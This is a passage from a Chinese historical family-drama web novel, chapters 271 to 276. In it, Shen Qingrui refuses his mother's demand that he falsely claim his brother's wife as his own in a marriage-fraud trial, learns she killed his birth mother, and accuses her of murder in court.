京兆府拐角处的马车也正在等着,姜云舒过去时,谢无烬正在外面等着,见她过来,上前两步。 “怎么了,不顺利?”谢无烬伸手拉住姜云舒的手,她的指尖是凉的。 “也不算,还在掌控之中。” 姜云舒有些疲惫的摇摇头。 “先上车再说。” 谢无烬将她的手包裹在他的掌心中,拉着她上了马车。 “喝口茶。”他将热茶送到姜云舒跟前。 姜云舒垂眸看了一眼,依旧摇摇头,脸上的表情仿佛乌云遮日一般,眼中也带了几分氤氲。 谢无烬还是第一次见她这样,一时间有些紧张,还有几分莫名的堵心。 是因为沈清安…… 她都已经看清楚了那个人渣的品性,为什么还要为他伤心。 “阿舒,别因为他那样的人伤心,他不值得。” 他抬手,在姜云舒并没有眼泪的脸颊摩挲了一下。 姜云舒蹙着眉头摇摇头,“不是……不是为他伤心,是……” 她的话没说完,声音先哽住,眼角也变得湿润。 谢无烬顿了一下,似乎瞬间反应过来,她不是因为沈清安而伤心,而是因为自己识人不清引郎入室。 想到这里,他心口一缩,手腕上用力将她往身边拉近几分。 “不能全怪你的。” 谢无烬抬手在她后背轻轻拍了拍,“当年你父亲提前安排了你大嫂回恭王府,想来让你留在京城也是提前安排。” 姜云舒吸了一下鼻子,微微抬头看向谢无烬的侧脸。 “谢无烬,你当时是不是很恨我?不管是不是我爹的提前安排,可当初回京看到沈清安时,我的确动了心……” 原本,她是以“嫁人自然要嫁给心仪之人”为借口安慰自己的,可如今她才意识到,不管是什么理由和接口,她的退婚的确是伤了谢无烬的心的。 谢无烬没想到她会突然问,低头盯着她看了一会儿,似是无奈的叹一口气。 “阿舒,你在见到我时,可曾后悔?”他问。 若说一见钟情,也不过是见色起意的没美化,可论相貌身材,谢无烬自认为他并不逊色沈清安。 这一点,姜云舒也是认同的。 论相貌,谢无烬比沈清安无关更为精致,论气质,谢无烬身上有着将领身上特有的威严霸气,轮才能,谢无烬曾一度让边境闻风丧胆,而沈清安这些年的功绩,不过在父兄的托举之上才沾得分毫。 对比之下,的确够姜云舒后悔的。 姜云舒越想心里越憋屈,还跟自己赌气,一时间抿着唇不说话。 见她不说话,谢无烬伸手将她的手拉过来。 “阿舒,现在给你后悔的机会,你要不要后悔?” 姜云舒手指微动,被谢无烬抓着的那只手不自觉用力,却依旧抿着唇。 “罢了。” 谢无烬最终还是舍不得逼她,深深叹一口气,将她的头扳过来,靠在自己的肩膀上,“休息一会儿吧,到了我叫你。” “嗯。” 姜云舒淡淡的应一声,缓缓闭上了眼睛。 翌日清晨,阳光熹微,天还没有大亮。 沈清睿下值刚回到沈府,就见门口侍女急匆匆迎了出来,正是老夫人院子里的吉祥。 “二公子,您可回来了,沈大人出事了,老夫人叫您回来之后赶紧过去一趟。”吉祥皱着眉头,一脸紧张模样。 沈清睿也没见过吉祥这样紧张,当下也跟着提了一口气。 “发生了什么事?” 沈清睿一边走着一边问。 “我也不清楚,听说是姜……乐安县主和高夫人联合将沈大人告了,如今沈大人被收押京兆府大牢呢。”吉祥紧忙回答。 “什么?” 沈清睿眼睛一时间瞪大。 高,高夫人? 高夫人不是坠落悬崖死了吗?怎么又活过来了,还将大哥告了? 到底是怎么回事? 沈清睿想不通,但此时已经意识到事情的严重性,来不及多问,紧忙跟着朝老夫人的院子走。 刚到院子,老夫人那边已经得了通报,等沈清安一进门,她那带着哭腔的声音便冲了出来。 “二郎啊,可了不得了!咱们沈家出大事了!” 老夫人一边哭着就朝沈清睿扑了过来。 沈清睿来不及多想,紧忙伸手将老夫人扶住,问:“到底怎么了?” 第271章 你要顶替你大哥 “是姜云舒和高芝兰那两个小贱人,她们竟然将你大哥告到了京兆府,说你大哥骗婚啊!” 老夫人仿佛受了多大委屈,哭得声嘶力竭,“我就知道姜云舒不会放过我们沈家,她求了圣旨休夫,让你大哥成为京城的笑柄不说,还要妨碍你大哥的官职,将他送进大牢,真真是毒妇啊!” “娘,你在说什么?你刚才说,高嫂嫂告了大哥?她没死?”沈清睿打断沈老夫人的哭喊,“京兆府的人找到她了?她为什么要联合县主告大哥?” 几句话直击重点,问得沈老夫人的哭声戛然而止。 “这……” 沈老夫人张张嘴,原本准备好的哭诉和台词一时间就卡在了嗓子眼里。 “娘,人命关天,你可别胡说,这到底是怎么回事?为什么高嫂嫂活过来要告大哥,大哥对她做了什么?”沈清睿眉心蹙起。 在皇宫当值这些日子,他不仅武艺增长,人也变得更加敏锐。 高芝兰一向对大哥依赖,尤其如今她还怀有身孕,是为了什么原因,她要不惜抛弃所有也要将她此生依靠之人送进牢狱? “你,你问这些做什么?” 沈老夫人眼神闪烁,她解释不了,索性脸色一沉,“不管如何,此时最要紧的是救你大哥出来,我们沈家可就指望你大哥啊,他可千万不能出事啊!” “我不知道究竟发生了什么事,也不知县主和高嫂嫂为何要状告大哥,我又如何能救他?”沈清安略显无语地叹一口气。 “你不必知道这么多,明日会有衙役来找,届时你只需一口咬死,高氏是为你取的妻,与你大哥无关,你大哥就能救出来!”沈老夫人瞪着眼睛,一脸郑重。 子固叮嘱了她好几次,只要让二郎承认高芝兰是他娶进门的正妻,沈清安就一定不会有事。 “你说什么?娘,你疯了吗?” 沈清睿如遭雷击,一脸难以置信的看向沈老夫人。 “我没有疯,你只要这样说,你只要认下,你大哥就能回家,我们沈家就还能有救!” 沈老夫人一把拽住沈清睿的衣袖,咬牙,“你一定要认,你一定要认下,听到没有!” “娘!” 沈清睿怒吼一声,抽回自己的衣袖,“你又要我顶替大哥,他犯下的事,你又要我认?” “你这是什么态度!不管何种原因,如今你大哥有难,你救他是天经地义!你还是不是我沈家人!”老夫人一下子瞪起眼睛。 沈清睿猛地顿拉一下,此时看着老夫人脸上的表情,一时间想到儿时自己做错了一点小事被母亲呵斥责罚的场景。 原本以为,自己总是被责罚,是因为自己不够优秀,没有大哥那么出息,可如今他已经长大,并且身居六品官职,母亲眼中依旧没有自己。 “母亲,你眼睛里,是不是只有大哥一个儿子?”他咬牙,抑制不断涌上来的酸涩。 “你,你胡说什么!都这个时候了,你还在耍什么小孩子脾气!” 沈老夫人眼神闪烁,言语之间依旧是斥责,可说话时眼睛却总是不着痕迹的躲开他的视线。 沈清睿深吸一口气,尽量让自己的语气平缓。 “你知道的,我心悦从容,原本依照我的计划,此时我和顾从容的婚事应该已经能定下了,可你说高嫂嫂身怀有孕不能出事,所以那时,我不惜影响官运替了她受罚,你可知道,那时好多人争抢去顾家提亲,我担心被人捷足先登,求您请媒人提亲,可你又说那时府上银钱多给了大哥用来铺路,没有准备聘礼的,以至于到现在,我和从容的婚事依旧遥遥无期!” “你,你这是在怨我?可我也不是诓骗你啊,那时候姜云舒处处给你大哥使绊子,府上银钱紧张,我也是没有办法啊。” 沈老夫人一边说着,一边观察沈清睿的表情。 “哎呀,所幸你还没有定亲,这样还能帮你大哥顶下和高氏的婚事,你放心,届时你大哥和那南疆王府郡主成了亲,自然也会再替你说一门好亲事。” “娘!” 沈清睿怒吼一声,“我在你眼里究竟是什么!你可知道,如果我顶了下大哥的婚事,和从容就再无可能,大哥是你的儿子,我不是吗!” 他的声音抬高了好几度,甚至比沈老夫人刚才还要大。 沈老夫人被吼得一震,脸上跟着多了几分心虚。 “可,可是你大哥不能有事啊……咱们沈家就指望他了!” 一边说着,沈老夫人嘴角抽了抽,眼看着又要哭嚎起来。 沈清睿看着她,他眼神平静,只是那样盯着沈老夫人的表情,盯着盯着,忍不住冷笑出生。 “你口口声声指望大哥光耀门楣,可我也是六品官员,并非平庸之辈,可你从来都看不到我,在你眼里,只有大哥一个儿子,只要大哥不出事,我如何,你并无所谓,是不是?” “你……你这是说的什么话!” 沈老夫人被沈清安的气势逼得后退一步,她也眼珠子转了两圈,没有想到应对的话,索性身子一晃,坐在地上嚎啕大哭。 “我不活了!亲亲苦苦养大的儿子又能如何,如今家里有了灾难,你什么不管,就只一门心思想着一个女人,我的命怎么那么苦啊!” “老头子,我活不了了,你可带我走吧!” 沈老夫人坐在地上,哭得前仰后合。 沈清睿蹙眉看着她,脸上的表情阴沉到了底。 这么多年,沈老夫人从来都是用这一招,爹还活着的时候,沈清睿想和大哥一样读书,她不同意,就坐在院子里哭,哭喊吃不饱,没有银子供另一个读书。 后来爹死了,沈清睿一旦忤逆老夫人的安排,她就坐在地上哭,哭自己养大两个孩子不容易,哭沈清睿白眼狼。 之前让沈清睿顶替高芝兰手法,她也是用的这一招,现在,还是一样。 沈清睿站在边上,双手捏紧了拳头。 “你想闹就闹吧,这件事,我是不可能的答应的!” 说完,沈清睿转身,怒气冲冲地冲出了家门。 沈老夫人楞了一下,回过神来,紧忙站起身来。 “来人,快,跟上二公子,将他给我带回来!” 家丁得了命令紧忙跟了出去,可到门口时,沈清睿的马已经朝着城外奔去。 天刚刚开亮,沈清睿的马直奔城门而去,此时正当城守卫换值。 郭朝早得了姜云舒的信儿,见他过来,远远迎了上来。 第272章 他的选择 “小沈大人,这么早便出城啊!” 郭朝走上前来,“这么早,您这是要去哪里?” “我出城一趟,劳烦郭侍卫帮我开城门。”沈清睿一脸阴沉。 郭朝的视线在沈清睿脸上扫过,却也并没有多问,转身招呼一同当值的侍卫给开了城门。 县主打点过的,只要沈清睿来,便给他开城门。 “多谢。” 沈清睿扭头朝郭朝道了一声谢,紧接着翻身上马,朝着城外清风村的方向奔去。 此时天色刚刚蒙亮,路边的花草上还沾染着露珠,马蹄踏过,露水氤湿了马蹄。 沈清睿心口憋着一口气,原本要半个时辰的路程,一炷香便到了。 而此时的清风村,与沈清睿一样心满意乱的还有顾从容。 自从京兆府衙门的事情传来,她一晚上没有睡,此时听到马蹄声,她心中不由得“咯噔”一下。 “从容!” 沈清睿下了马便看到顾从容在村口等着,紧忙快步上前,“你怎么会在这里?” “我听说了京兆衙门的事,想着,你是会来找我的,沈郎你……” 顾从容看着他,犹豫了一下,还是问出口,“你兄长所说,可是真的?” “怎么可能是真的!我发誓,这辈子只对你一个人倾心,从未有过别人!” 沈清睿一把抓住顾从容的手,可是说着说着,眉头拧成了一个疙瘩。 “虽然不是真的,可如今境况,我若不认下,兄长怕是难逃牢狱之灾。” “又是顶替?”顾从容的手往回缩了缩,“为什么你沈家只要出事,便要你沈二郎来顶替?” 这话如同扎进心口的刺,让沈清睿的眉头拧得更紧了。 “我……”他张张嘴,却说不出话来。 他不说话,顾从容便深吸一口气。 “我知道,你有你的难处,我可以体谅你,但我却并不愿成全别人亏待自己。” 说着,她抬手从腰间拿出几张房契和地契。 “这是你之前交给姜姐姐的房契和地契,还有几家店铺,你送到她手里的东西,她转手便给了我,就是以防你连提亲的资本都没有,如今我将这些交还给你,你是要来我顾家提亲还是要去京兆府替你兄长顶了高夫人那门亲事,你自己决定。” 说完,她将那几张房契和地契交到沈清睿手里。 沈清睿低头,看着那几张熟悉的房契和地契,只感觉心口一沉。 姜姐姐将这些都交给了从容?不,是留给了自己。 他明白的,姜云舒是备着万一顾家真的相中了哪家公子,想要给从容定亲,情急之下,他还能拿着这些东西上门拦截,她这般良苦用心为自己谋划,而如今…… 他若是应了沈清安的在公堂上说的话,那便是将姜云舒和高芝兰推向了污蔑朝廷官员的境地,可若不应,那沈家…… 见沈清睿拧着眉头衡量,顾从容用力闭了闭眼睛,再开口,声音变得清冷。 “这件事,你自己拿主意,我不逼你,但如果这一次你再妥协,我们之间便到此为止吧。”顾从容将自己的手从他手里抽了出来。 沈清安手心一空,心里仿佛也被抽走了什么,瞬间回过神来。 “你让我好好想想,从容,你给我一点时间。”沈清睿脸色憋闷,眼眶微微泛红。 说完,他仿佛不敢看顾从容的眼睛一般,转手将那地契和房契放回顾从容手里,转身往村子外面走。 顾从容张了张口,原本要说话的话终究还是没有说出来,只剩眼泪顺着眼角往下坠。 “别哭了。” 声音自身后传来,顾从容转身,眼前是姜云舒递过来的绢帕。 她伸手接过来,轻轻擦拭眼角的泪,一边抽噎着,“姜姐姐,我好难受……” “没什么可难受的,如果他不能坚定的选择你,那就证明这个人不值得你托付,此时你应该庆幸及时止损才是。” 姜云舒语调轻缓,这话像是对顾从容说的,又像是对自己说的。 顾从容擦了眼泪,扭头看姜云舒,她到底是未出阁的姑娘,有些事情尚未经历,也并不是很能体会姜云舒此时的意境。 “对了,这些东西,还是还给姜姐姐吧。” 说着,她抬手要将刚才的房契和地契还给姜云舒。 如果沈清睿选择的不是自己,那么,这些东西,她也并不想留给他和沈家。 “你收着便是。” 姜云舒抬手将顾从容的手推了回去,“这些东西,本来就是给你的,如果你和沈清睿能喜结连理,这便是帮他给你的聘礼,如果不成,往后不管你嫁到哪家,这都是你安身立命的资本。” 顾家主母不慈,即便顾从容在清风村帮医给顾大人增加了声望,可她到底也没能带来实质性的好处,届时她成婚,嫁妆也好不到哪里去。 这几张房契和地契,本就是姜云舒看重的好地方,虽然不多,但不管是做良田还是买卖,都是很值钱的,尤其姜云舒添加的几个店铺,在繁荣街旁侧,盈利都不错。 知道姜云舒并不是虚以委蛇之人,顾从容便也顺着她受伤的力道收下了。 “多谢姜姐姐。”她迎着,嗓音轻颤,眼眶也红了。 除了姨娘,姜云舒便是这世上第二个为她这般筹谋的人了。 沈清安离开清风村后,并没有立刻回沈家,他牵着马在外面晃了半晌,将近晌午时才回到沈家。 老夫人折腾了一早晨,大概是累了,此时还在软塌上。 吉祥原本在院内煎药,余光扫见沈清睿的身影,并没有打招呼,而是端着药草进了屋。 “老妇人,你快把药喝了吧,再生气,也得保重身子。”说着话,吉祥将药碗放在了桌上。 老夫人扭头看了一眼还在热气蒸腾的药碗,眉头一皱。 “喝什么药,我大郎都到这般水深活热的境地了,我哪里还能喝得下去!” “这不是还有二公子吗,二公子会想办法的。”吉祥跟着往前递了一句话。 谁知这话出口,老夫人却是重重地“哼”了一声。 “沈清睿!那就是个白眼狼!早知道他这般心肠狠硬,我就不该养他,当时就应该将他掐死在襁褓里!”老妇人咬牙切齿。 此时,正准备踏进院子的沈清睿脚步一沉,原本卖出去的脚步也跟着收了回来。 掐死…… 原本以为娘对自己是不喜,却没想到,竟然是恨。 为什么,明明是从她身上掉下来的肉,她为什么对自己这般恨之入骨? 第273章 你不是你娘亲生的 “哎呀,老夫人,您别这么说,虽说不如沈大人高中探花,可二公子也是凭本事到了现在这个位置,他也并不比别人差……” “谁要管他好还是差,我这辈子能指望的只有清安,清安有危险,那个孽障就应该为他顶着!”老夫人的声音依旧带着咬牙切齿的怒意。 孽障…… 原来,自己在母亲眼睛里,竟然是孽障…… 沈清睿不自觉的攥紧了拳头。 他下意识想要进去问个明白,可此时耳朵里不断涌入母亲恶毒的谩骂,让他抬起的脚又缩了回去。 沈老夫人的骂声依旧没停顿,沈清睿终究是听不下去了,转身又朝着门外走去。 他不知道要去哪里,等回过神来时,又回到了清风村。 只是,这一次,他并没有进去,只在村口的河边坐着,手里不知从什么地方拿来的一坛酒,就那么坐着喝酒。 “呵,我到底做了什么天打雷劈的事情,让你对亲生儿子这般恨之入骨!” “从小到大,你眼睛里只有你的大儿子,他是你的儿子,而我,就连你身边养的一条狗都不如吗!” “沈家,沈家!张口闭口都是为了沈家,我难道不是沈家的血脉吗!” “呵,如果不是为了沈家,我如今已经将从容迎娶进门,或许,连孩子都有了……我也很想有自己的家啊!” 他一边喝着,朝着河边扔石头,仿佛发泄一般,大喊大叫,惊得周边的小动物都不敢靠近。 也不知喝了多少,也不知是脑袋喝晕了,还是喊得头晕了,索性往后一仰,躺在了河边的草地上。 此时正值晌午,草上的露珠已经被太阳晒干,躺下去还有几分说不上来的舒服。 沈清睿就那样一动不动地躺着,大口的喘着气,就连身边有人过来都没有察觉。 “你不是她亲生的,她不将你放在眼里也是在所难免。” 清亮的声音自头顶传来,沈清睿猛地睁开眼睛,就见姜云舒正站在她身侧。 “姜,姜姐姐!” 沈清睿猛地坐起身来,伸手擦了擦脸上的脏污。 “怎么不进村?就怕没脸面对从容?” 姜云舒顺着他旁侧坐了下来,将手里的东西递给他,“看过这些,或许能帮你尽快做决定。” 沈清睿眸色顿了一下,伸手接过来,看着那白纸黑字上的内容,脸色越来越难看。 “这,这怎么会……我不是她亲生……” 他震惊地瞪大眼睛,话都说不利索。 “我调查你兄长时,派人去了清州,除了你兄长有关的消息,顺便还得知了和你相关的,原本以为不会用上,如今这境况,还是让你知道了比较好。” 信中,提及沈清睿是沈家老爷子和外室所生,沈老爷子为了能让沈清睿入沈家的门,答应将外室送走,沈老夫人假意同意,却暗中派人将外室杀了。 迫于沈老爷子和宗族的压力,沈老夫人不得不将沈清睿放在身边养着,可养和养终究是不同的,在她眼里,是沈清睿不是儿子,而是眼中钉。 见沈清睿看得差不多,姜云舒从他手里的信上抽出两张。 “最后这两张是你旁支表叔的供词,上面也有他亲自按下的手印,你若还是不信,我可派人将他们请过来,对了,还有给你接生的稳婆,也还在世。” “难怪,难怪她对我恨之入骨,是她杀了我的生母,是她……我这就去找她!” 说着,沈清睿猛地站起身来,结果,身子一个没站稳,“砰”的一下摔进了河里。 这倒是姜云舒没料到的,紧忙招呼村里的人过来将人捞了起来。 人倒是捞上来了,可也不知是酒喝多了,还是摔进河里时撞到了鹅卵石,沈清睿一直没有醒。 姜云舒无奈,只能差人将沈清睿送回了沈家。 一日太平。 衙役上门寻了沈清睿两次,第一次,人没有回来,第二次,人回来了,却是晕的。 关捕头亲自进了屋内验证过,确定沈老夫人不是说谎,虽然气恼,但也只能跺着脚骂骂咧咧离开。 而此时京兆府牢房,沈清安虽然并未被定罪,但此时并没有官袍在身,加之姜云舒暗中打点些许,在京兆府规矩允许范围内,牢狱看管的衙役便给他添了些“料”。 一整晚,关押沈清安的牢狱之内,不断传来惨绝人寰的嚎叫声,那喊声几乎穿透墙面,可他越是叫喊,与他关押在一起的犯人便越是兴奋。 这边老夫人听到京兆府打听来的消息,记得如热锅上的蚂蚁。 “不行,这样可不行,那京兆府的监牢可是吃人的地方,我大郎可吃不了那个苦啊!” “这可怎么办?要不然,我去求姜云舒,到底是一日夫妻百日恩,若我上门求她,她也许能放过大郎!” 吉祥站在边上,看着沈老夫人在屋子里一圈一圈转,忍不住深吸一口气。 “老夫人,若是能求情就能了结的事,乐安县主应该也不至于将状纸递到公堂上,您要不要,想想别的办法。” 说着,她往沈老夫人跟前凑了凑,“您知不知道,这些年和沈大人交好的有什么地位比较高的贵人,或许能帮上一帮。” “贵人?” 沈老夫人脸上的表情一滞,眼珠子转了转,最后,却只剩满脸沮丧。 “我倒是听说有一位大人物对他很是赏识,可是那位大人物当时并不在京城,我可如何能找到他啊!” “老夫人可知道是哪位大人物?届时我帮老夫人修书一封,说不定还能来得及。”吉祥又接着引导。 “我……” 沈老夫人蹙眉想了想,似是想起什么,转身朝里面走去。 吉祥站在旁边等着,片刻,就见沈老夫人从内室的小隔间里拿出一个锦盒。 到了桌边,她打开锦盒,里面是两朵精致包装的灵芝,那灵芝通体红色,边缘是金色的,吉祥一眼便认出,那是屿州特产的金叶灵芝。 “老夫人,你,你这灵芝是……”吉祥的声音有些激动。 “这是当年那位大人物赏给大郎的,说是世间罕见之物,这些年我一直收藏者,都舍不得拿出来用呢。” 说着,老夫人伸手从锦盒里掏了掏,却没拿出她想要的东西,正在这时,小厮过来禀报。 “老夫人,二郎醒了!” 第274章 为我筹谋过什么 “你说什么?二郎醒了?” 老夫人转身就往外走,刚走两步又回来,跟吉祥吩咐,“快,将我准备的东西带上!” 吉祥紧忙应着,转身去拿老夫人提前准备好的东西。 此时的沈家并不大,一会儿功夫,老夫人便到了沈清睿的院子。 此时沈清睿刚醒,头还是晕晕的有些疼,这会儿正让小厮给揉太阳穴。 听得外面通报老夫人到,沈清睿摆摆手,小厮紧忙退到一边。 “哎哟,二郎,你可总算是醒了!” 沈老夫人说着便到了床边,凑近在沈清睿脸上扫过一遍,看似关切一般询问,“你现在可感觉好些了?” “嗯。” 沈清睿低低地应了一声,他的语气让人听不出情绪,可是此时看向老夫人的眼神,却透着一股子寒凉。 沈老夫人被他看得浑身发紧,来不及多想,下意识想往后缩,可一想到沈清安,到底还是迎着他的视线看了回去。 “如今你也醒了,你大哥那边……” 她一边说着,一边观察着沈清睿的表情,随即一抬手,吉祥紧忙将准备好的东西送了过来。 “我知道,这些年委屈你了,以后娘会尽量弥补你,但是这一次,只有你能救你大哥了,就算我这当娘的求求你,只要你能答应救你大哥,我这些东西都给你!” 说着,将那盒子往沈清睿跟前一放,打开盖子,从里面拿出来的皆是沈老夫人这些年攒下来的房契,地契,店铺,还有几个金元宝。 沈清睿看着沈老夫人双手颤抖的往外掏东西,原本阴沉的脸色,更添了一层霾。 “母亲,只要大哥没事,我真的无所谓是吗?大哥是你亲生的,我就不是?” 沈清睿言语平静,只是字字句句从口中说出,如同裹了一层冰霜。 沈老夫人手上动作一滞,抬头正好与沈清睿的视线碰上,她心口猛地一缩。 “你,你这是什么意思!我自小将你养大,你怎么能质疑为娘!” 沈老夫人将东西往盒子里一放,脸上多了几分严厉。 “今日你出去整整一日,想来也清楚了,这次姜云舒和高芝兰那两个贱人就是要将你大哥往死里整,你身为我沈家子嗣,舍身救兄长不是应该的?更何况,又不是真的要你拿命换,不过是认下一门亲事,待案子结了,你只需给高芝兰一纸休书便可,届时,为娘备下厚厚的聘礼,上顾家的门为你求亲,岂不是两全其美?” 沈老夫人一边说着,脸上甚至还带了笑意,在她看来,她如此费心为沈清睿筹谋,他应该感恩戴德才是。 然而,沈清睿只是愣愣的盯着沈老夫人,盯了半晌,视线从她身上移开,仰起头,长长地舒了一口气。 “以前, 我将所有身家都交给您打理,可在顾家有人开始上门提亲时,我求您为我准备聘礼,可您说,府上没有多余的银子,如今为了大哥,您倒是有这么多能拿得出手的了?” 沈清睿再次回过头来,迎着沈老夫人略显慌乱的视线看过去。 “母亲,说到底,您所有的筹谋和打算,都是为了大哥,我自问为沈家也付出了不少,您为我究竟做过什么打算呢?” 他微微勾起唇角,可带出的笑容却是极尽嘲讽。 什么都没有。 从小到大,母亲对他的要求便是饿不死,哪怕到了京城,大哥高中三甲,甚至和位高权重的定国将军府结了亲,他这个弟弟依旧是浑浑噩噩。 也就是姜姐姐进门,沈家交给她管理时,他这个年近二十的男人才算逐渐脱离“废物”这一行列。 所谓亲人,于他来说,究竟是什么? “我,我自然是要为你打算的!” 沈老夫人咬着牙,也眼珠子转了一圈,强行找补,“原本,我是想着等你大哥回来,才好为你逐步安排,可是你也知道的,自从你大哥回来,我沈家便事情不断,如今到了这不天地……哎呀,你总得给我一个喘息的机会啊!” 她觉着自己的一番话还算结实得通,不等沈清睿再开口,老夫人索性推着那一堆东西往沈清睿跟前一放。 “我连体己的东西都给你拿过来了,如今就等你一句话,你到底救不救你大哥!” “救,自然是要救的。明日一早我便去京兆府,该说的话,我定然会说得圆圆满满。” 说完,沈清睿扭头朝旁边的小厮使了个眼色。 小厮回忆,上前来将老夫人带来的东西,连带着锦盒一起收下。 老夫人瞧着自己攒了半辈子的东西被拿走,忍不住嘬了一下牙花子,然而,东西都给出去了,此时再说什么也没用。 夜晚的清空,月色尤为皎洁,然而,夜色静谧,却让人无心睡眠。 这一晚上,除了姜云舒,所有人几乎都没怎么睡着。 清晨,天蒙蒙亮,沈家就已经热闹起来。 沈老夫人亲自叮嘱厨房给沈清睿做了最爱吃的点心,亲自带着吉祥送到了他的院子。 沈清睿低头看了一眼沈老夫人带来的点心,原本平静的面上,不由得浮出一抹冷笑。 “这些东西,您还是留给大哥吧。”他说。 沈老夫人一顿,扭头看了一眼拿来的东西,略显不满,“这是特意给你准备的,你看看,是你最喜欢的杏仁酥呢。” 沈清睿没有回答,只是抬手让小厮给系好腰封,这才转向老夫人。 “从小到大,我吃杏仁会起红疹。” 他冷淡的留下一句话,转身走出了院子。 老夫人捧着一盘子杏仁酥僵在原地,半晌没有回过神来。 “不,不是杏仁酥吗?之前看他挺喜欢吃的,怎么会起红疹呢……”她低声嘟哝一句。 吉祥垂眸瞧着那杏仁酥上的小杏仁,略显无奈的叹一口气。 “老夫人,之前送到二公子跟前的是县主特意从宫里要来的,那是西域进攻的大杏仁,不是您这种小杏仁。” 杏仁酥是沈老夫人盯着做的,当时吉祥被安排做其他事务。 “什,什么?” 沈老夫人顿时瞪大了眼睛。 以前,姜云舒在时,是恩家的吃穿用度都是用的最好的,以至于后来沈家搬出来,用的东西,吃的东西也都变了样,她都只当是降低了档次,并没有意识到,根本也不是同一种东西。 姜云舒,姜云舒…… 从前沈家处处养着姜云舒的面子,在京城也算是体面,为何就走到了如今这个地步呢! 越想,沈老夫人就觉着心口压着的石块越发的往下沉,恍惚之间,身子一个踉跄,差点摔在地上。 第275章 状告亲娘 “你,你去问问二郎院子里的人,问问二郎平日里喜欢吃什么,等他将大郎带回来,我亲自盯着厨房里的人做。”老夫人张张口。 “是,奴婢这便去问。” 吉祥应一声,抬手扶住了沈老夫人,又提醒,“今日辰时升堂,老夫人可是要去看看?” “去,自然是要去的!” 沈老夫人紧忙应声,说着话就往外走。 京兆府,大堂之上。 姜云舒和高芝兰已经早早就到了。 辰时刚到,沈清安也被人抬了出来。 对,是抬了出来。 要说受伤,看着沈清安周身并没有受伤的痕迹,可整个人和昨日之前已经完全不同。 原本整齐的衣衫已经破烂不堪,梳理板正的头发也凌乱如鸡窝,脸上更是没了一丝血色,一双眼睛眼神涣散,像是遭受了什么巨大的刺激。 高芝兰原本还一脸紧张,结果一抬头看到沈清安这模样,倒是自己先吓了一跳,随即下意识抬头去看姜云舒。 姜云舒依旧面色平静的站在旁边,只是在沈清安出来时,余光朝那边瞥了一眼,随后目光收回,再也没有多看一眼。 “升——堂!” 随着一声喝喊,邢恪坐在了大堂之上,手中惊堂木往桌上一摔。 众人跟着心口一颤,瞬间回神,朝着大堂上看过去。 “沈大人,你有什么要说的,此时便说吧!”邢恪沉冷开口。 “我,我一定不会放过……” “啪!” 不等沈清安说完,邢恪手中的惊堂木又摔在了桌上。 “只说与本案相关事宜便可!”邢恪冷冷打断他的话。 沈清安抬头朝子邢恪看一眼,后槽牙死死咬紧。 他抬头,正好看到站在旁边的沈清睿,两人视线交错,沈清安深吸一口气。 “本官已经说过,高芝兰原本是为我二弟娶的妻,与我无关!” 说着,他抬手朝沈清睿一指,“二郎,你告诉邢大人,高芝兰当年入我沈家门,嫁的是不是你!” 此时沈清安言语之间带着莫大的自信,在他看来,沈清睿既然来了,自然是来救他这个兄长的,一个女人而已,等案子结了直接休了便是。 只要这会儿能将他从这吃人的地方救出去,以后他想要什么,自己都能给他。 邢恪的视线在沈清睿脸上扫过,轻咳一声,“小沈大人,你可认。” 沈清睿垂眸看向沈清安,张口,悠悠吐出两个字。 “不认!” 这两字刚出口,整个大堂也一时间安静下来,也只是一瞬间,紧接着便是嘈杂声。 “沈清睿!你知不知道你在说什么!” 沈清安猛地瞪大眼睛,凌厉的视线朝沈清安看过去,仿若带了刀子一般。 此时大堂之外,正等着接沈清安回去的沈老夫人也忍不住尖叫一声。 “沈清睿,你想做什么!那可是你大哥!你想让你大哥死吗!”沈老夫人一边喊着就要往里冲,结果刚到门口就被衙役拦了下来。 别说沈家众人,此时就连高芝兰也惊呆了,她瞪大眼睛看向沈清睿,一时间怀疑他是被种了蛊。 自小到达,沈清睿什么都听沈老夫人和沈清安,就如上一次她算计姜云舒被罚,老夫人只是苦恼一番,他就不得不来京兆府顶罪,这一次为什么…… “小沈大人,你可想好了?证词可是要画押的,你若做假证……” “我所说皆是事实,邢大人若是怀疑,自可派人去清州求证,若是来不及,邢大人亦可现场做滴血验亲。” 沈长元是沈清安和高芝兰所生,之前沈清安回来时,为了确定还是没有被姜云舒掉包,还与沈长元做了滴血验亲,没有错的。 “来人,做滴血验亲。”邢恪抬了抬手,很快有压抑端了一碗水过来。 沈老夫人为了让沈长元看清楚高芝兰这个娘有多恶毒,来时还特意将沈长元带了过来,别说,此时还正好用上了。 滴血验亲,毫无疑问,沈长元便是沈清安和高芝兰的儿子。 紧接着,姜云舒又将之前从清州调查的结果呈交上来。 邢恪瞧着证人按下的指印,扭头看向姜云舒。 “这些证据,前日你为何不拿出来。”邢恪蹙了蹙眉。 “我忘了。” 姜云舒一脸无害的朝邢恪勾了勾唇角,“如今,人证,物证,还是眼见事实都是证据,沈大人骗婚一案,应该可以定罪了。” 若是前日,可没有沈清睿来作证,也没有沈长元这个亲子的验证,如今所有的证据都摆在面前,才好一锤定音。 “沈大人,你可认罪!”邢恪冷厉的眼神朝沈清安看了过去。 “我,这是陷害,是姜云舒陷害……” “来人,上刑!” 邢恪并没有给他说完的机会,一声令下,早有旁边等着的衙役时昂前来,将沈清安押在了长条凳子上。 “啪!” “啊——” 惨叫声从京兆府的后院传来,那惨烈的嗓音,惊得在场众人均是一哆嗦。 此时正在大堂门口的沈老夫人个更是哀嚎一声,拼了命似的往里冲,然而,以她的身体,压根就挡不住衙役的推搡。 “我的儿啊——” 沈老夫人扯着嗓子大喊,瞪着眼珠子就朝着沈清睿大骂,“沈清睿你这个孽种,你怎么敢陷害你大哥,你——” 话还没说完,沈老夫人眼珠子一翻,眼看就要晕过去,然而,还不等她晕,却见沈清睿猛地上前一把拽住她的手腕,直接拽到了大堂。 到底是习武之人,他的动作太快,旁边的衙役反应过来时,沈清睿已经带着沈老夫人到了大堂上。 “邢大人,下官还有一状,还请沈大人做主!”沈清睿伸手一撩袍子跪在地上。 邢恪蹙眉,视线在沈清睿旁边的沈老夫人身上扫过,开口。 “你状告何人,为何所告?” “下官所告,乃沈崔氏,臣要告她杀人之罪!” 说着,是沈清睿抬手,将用了一晚上写好的状纸双手托到额间。 “你,你说什么?你要告我?” 沈老夫人猛地转过身,瞪大的眼睛里除了难以置信,还有压制不住的惊恐。 第276章 要你偿命 “是,我要告你,杀害我生母!”沈清睿侧目,视线凝在沈老夫人的脸上。 这一句话出,在场众人均是震惊地瞪大眼睛,小声的议论再次从外面传来。 